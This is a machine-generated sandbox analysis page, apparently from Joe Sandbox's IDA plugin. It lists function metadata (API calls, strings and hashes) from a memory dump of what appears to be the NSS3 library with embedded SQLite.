Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 25be64776364fe87ba00904673af8971bb28a4586a1dcb0eac0196b50ec95c00
Instruction ID: c741d6729bbc5f677b909bedd8d4add45c0241dbd4d98607e598ebd830891e87
Opcode Fuzzy Hash: 25be64776364fe87ba00904673af8971bb28a4586a1dcb0eac0196b50ec95c00
Instruction Fuzzy Hash: 1102E670E083919FEB109FE9888075EBBB4EF19348F245129DC95A7741DF71A806CF92

Function 6CAB6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CBBA8EC,0000006C), ref: 6CAB6DC6
memcpy.VCRUNTIME140(?,6CBBA958,0000006C), ref: 6CAB6DDB
memcpy.VCRUNTIME140(?,6CBBA9C4,00000078), ref: 6CAB6DF1
memcpy.VCRUNTIME140(?,6CBBAA3C,0000006C), ref: 6CAB6E06
memcpy.VCRUNTIME140(?,6CBBAAA8,00000060), ref: 6CAB6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB6E38

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CAB6E76
TlsGetValue.KERNEL32 ref: 6CAB726F
EnterCriticalSection.KERNEL32(?), ref: 6CAB7283

Strings

!, xrefs: 6CAB7123

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction ID: 87f982c79e9f0ab88fd6443db71cc57d09e14bd378f82829fe15ec69bae55e05
Opcode Fuzzy Hash: be4fbda69924abbdefb57c41bb3067b9a18b35fbff3bdcb85a1cde692392293e
Instruction Fuzzy Hash: 96728D75D052199FDB60DF28DC88B9ABBB5BF48304F1441A9E80DA7701EB71AAC4CF91

Function 6CA23C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CA23D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA24052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA2410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA2449C

Strings

database corruption, xrefs: 6CA24490, 6CA244F4, 6CA24599, 6CA24764, 6CA24804
%s at line %d of [%.10s], xrefs: 6CA24495, 6CA244F9, 6CA2459E, 6CA24769, 6CA24809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA24452, 6CA24486, 6CA244EA, 6CA24571, 6CA24580, 6CA2458F, 6CA2475A, 6CA247FA

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 0412eab6ce24e07f1ab1a89b20bdeb811e24d0dec632d25d43c3a4cadbdf60c8
Instruction ID: 55894f896fb13984576cbfdea947bc727538701ab3108a5c8ed5c670c6247382
Opcode Fuzzy Hash: 0412eab6ce24e07f1ab1a89b20bdeb811e24d0dec632d25d43c3a4cadbdf60c8
Instruction Fuzzy Hash: D282AE74A04225CFCB04CF69C580B9EB7B2BF49318F2D8599D805ABB51D739EC86CB91

Function 6CAFAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAFACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CAFACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CAFACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CAFAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CAFADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFADF0

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAFB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAFB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CAFB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFB40C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction ID: 3fc462456e3e7315c193f81b64d46ce4f6efa31971ca629f1550dd4d21bcd03e
Opcode Fuzzy Hash: 4ba3be511d1eb61e8a947c37e6c1482639ffdcb3955814337868d2b17b27cbfe
Instruction Fuzzy Hash: A722A071904301AFE710CF14DD44B9A77F1AF84308F28862CF9695B791E772E89ACB96

Function 6CA41F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA425F3

Strings

no tables specified, xrefs: 6CA426BE
table %s has %d values for %d columns, xrefs: 6CA4316C
no such index: "%s", xrefs: 6CA4319D
recursive reference in a subquery: %s, xrefs: 6CA422E5
too many references to "%s": max 65535, xrefs: 6CA42FB6
too many columns in result set, xrefs: 6CA43012
cannot have both ON and USING clauses in the same join, xrefs: 6CA432B5
access to view "%s" prohibited, xrefs: 6CA42F4A
no such table: %s, xrefs: 6CA426AC
H, xrefs: 6CA4322D
%s.%s, xrefs: 6CA42D68
multiple recursive references: %s, xrefs: 6CA422E0
unsafe use of virtual table "%s", xrefs: 6CA430D1
'%s' is not a function, xrefs: 6CA42FD2
H, xrefs: 6CA4329F
a NATURAL join may not have an ON or USING clause, xrefs: 6CA432C1
cannot join using column %s - column not present in both tables, xrefs: 6CA432AB
%s.%s.%s, xrefs: 6CA4302D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 70abc6e6a6254eccbecfe8a5c019c5bf9faec6343c0297749fe90dc03143573e
Instruction ID: bb85f49b8c4a30cb187e7a3183092707fadaa94df5a910308f0435145b81434f
Opcode Fuzzy Hash: 70abc6e6a6254eccbecfe8a5c019c5bf9faec6343c0297749fe90dc03143573e
Instruction Fuzzy Hash: A9D27D74E05249CFDB04CF99C484B9DB7B2FF89318F28C269D855ABB51D731A886CB50

Function 6CA7ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA7ED38

Part of subcall function 6CA14F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA7EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA7EFE4

Part of subcall function 6CB3DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA15001,?,00000003,00000000), ref: 6CB3DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA7F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA7F1D1
sqlite3_free.NSS3(?), ref: 6CA7F368

Strings

simple, xrefs: 6CA7ED79
fts3, xrefs: 6CA7F247
unicode61, xrefs: 6CA7EDB5
fts4, xrefs: 6CA7F2AD
offsets, xrefs: 6CA7EFAF, 6CA7EFDF, 6CA7F01F
fts3tokenize, xrefs: 6CA7F30F
fts4aux, xrefs: 6CA7ECF9
matchinfo, xrefs: 6CA7F04F, 6CA7F082, 6CA7F0C2, 6CA7F0F2, 6CA7F124, 6CA7F169
snippet, xrefs: 6CA7EF05, 6CA7EF37, 6CA7EF7C
fts3_tokenizer, xrefs: 6CA7EE1A, 6CA7EEA8
porter, xrefs: 6CA7ED97
optimize, xrefs: 6CA7F199, 6CA7F1CC, 6CA7F211

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction ID: 8cc59f9b9a12b87e3b02f5e5cc9176a356fd10aea54eec8f3c0729303e0fb73a
Opcode Fuzzy Hash: 2622a1888e423d815c37cd143a381581bd538d014dca2cd8b7dcfea5446c9bc3
Instruction Fuzzy Hash: 720204B9B043404BE7149F35AC8573F36B57BC5708F18453CD86997B05EB34EA8987A2

Function 6CAF7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CAF7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAF7D1E

Part of subcall function 6CAF7870: SECOID_FindOID_Util.NSS3(?,?,?,6CAF91C5), ref: 6CAF788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CAF7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CAF7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAF7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAF7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CAF7E58

Part of subcall function 6CAF7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAF91C5), ref: 6CAF78BB
Part of subcall function 6CAF7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CAF91C5), ref: 6CAF78FA
Part of subcall function 6CAF7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF7930
Part of subcall function 6CAF7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF7951
Part of subcall function 6CAF7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAF7964
Part of subcall function 6CAF7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAF797A
Part of subcall function 6CAF7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CAF7988
Part of subcall function 6CAF7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CAF7998
Part of subcall function 6CAF7870: free.MOZGLUE(00000000), ref: 6CAF79A7
Part of subcall function 6CAF7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CAF91C5), ref: 6CAF79BB
Part of subcall function 6CAF7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CAF91C5), ref: 6CAF79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAF7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAF7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAF7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAF7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CAF8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAF8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CAF8093
SECOID_FindOID_Util.NSS3 ref: 6CAF7F29

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CAF8072
SECOID_FindOID_Util.NSS3 ref: 6CAF80F5

Part of subcall function 6CAFBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CAF800A,00000000,?,00000000,?), ref: 6CAFBC3F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: a3b525b407667ab2a3788cbc06bcecf977bce8050499d5937a467ac02e0e6d36
Instruction ID: e9bb013648317b19b84b614c132a8a2686dd57818517faf8dbce3061d398bb22
Opcode Fuzzy Hash: a3b525b407667ab2a3788cbc06bcecf977bce8050499d5937a467ac02e0e6d36
Instruction Fuzzy Hash: A8E190716043009FE710CF29D980B5A77E5AF49308F54096DF8A9DBB51E731EC8ACB92

Function 6CA81C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CA81C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CA81C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CA81CA1
GetLengthSid.ADVAPI32(?), ref: 6CA81CA9
malloc.MOZGLUE(00000000), ref: 6CA81CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA81CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CA81CE4
GetLengthSid.ADVAPI32(?), ref: 6CA81CEC
malloc.MOZGLUE(00000000), ref: 6CA81CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA81D0F
CloseHandle.KERNEL32(?), ref: 6CA81D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CA81D4D
GetLastError.KERNEL32 ref: 6CA81D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CA81D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CA81D7A

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 41fca7973eb1a2d7c26d8fce3fddb94a5678ccf18d161be3a9fbe7a5a5a651d6
Instruction ID: e16f6399e089c1a832c3e3ff3b87c4ffdb9c786e64baebfc03b65d505f7bcfb6
Opcode Fuzzy Hash: 41fca7973eb1a2d7c26d8fce3fddb94a5678ccf18d161be3a9fbe7a5a5a651d6
Instruction Fuzzy Hash: AD3163B1A00258AFEF50AF64DC49BAA7BB8FF4D744F044069FA0993251EB305994CF65

Function 6CA83D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA83DFB
__allrem.LIBCMT ref: 6CA83EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA83FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA84047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA840DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA8415F
__allrem.LIBCMT ref: 6CA8416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA84288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA842AB
__allrem.LIBCMT ref: 6CA842B7

Strings

%02d, xrefs: 6CA84086
%04d, xrefs: 6CA8407B
%lld, xrefs: 6CA83FB2
%03d, xrefs: 6CA842E8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 84523dff9b89125c5c25582c9c4c1fc14ffac43b7666175b53cda655b4db94d2
Instruction ID: 3e8de973764888f460460855d8352004490a99017c623655bf3d1aa1de65f00d
Opcode Fuzzy Hash: 84523dff9b89125c5c25582c9c4c1fc14ffac43b7666175b53cda655b4db94d2
Instruction Fuzzy Hash: FFF1FF71A097409FD715CF38C891A6FB7FAEF85304F188A2DF4859B651EB34D8858B82

Function 6CA8EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8EF63

Part of subcall function 6CA987D0: PORT_NewArena_Util.NSS3(00000800,6CA8EF74,00000000), ref: 6CA987E8
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA8EF74,00000000), ref: 6CA987FD
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA9884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CA8F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CA8F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CA8F374
PL_strcasecmp.NSS3(6CBD2FD4,?), ref: 6CA8F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CA8F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA8F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA8F67D
CERT_DestroyName.NSS3(?), ref: 6CA8F68B

Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CA98338
Part of subcall function 6CA98320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA98364
Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CA9838E
Part of subcall function 6CA98320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA983A5
Part of subcall function 6CA98320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA983E3

Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CA984D9
Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA98528

Part of subcall function 6CA98900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CA98955

Strings

", xrefs: 6CA8F21B
*, xrefs: 6CA8F3C6
oid., xrefs: 6CA8F2CF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction ID: 3e754c145feee37165174e1e3704fd9c1f53b5d57d7a3e9a183baf6d318c5b8d
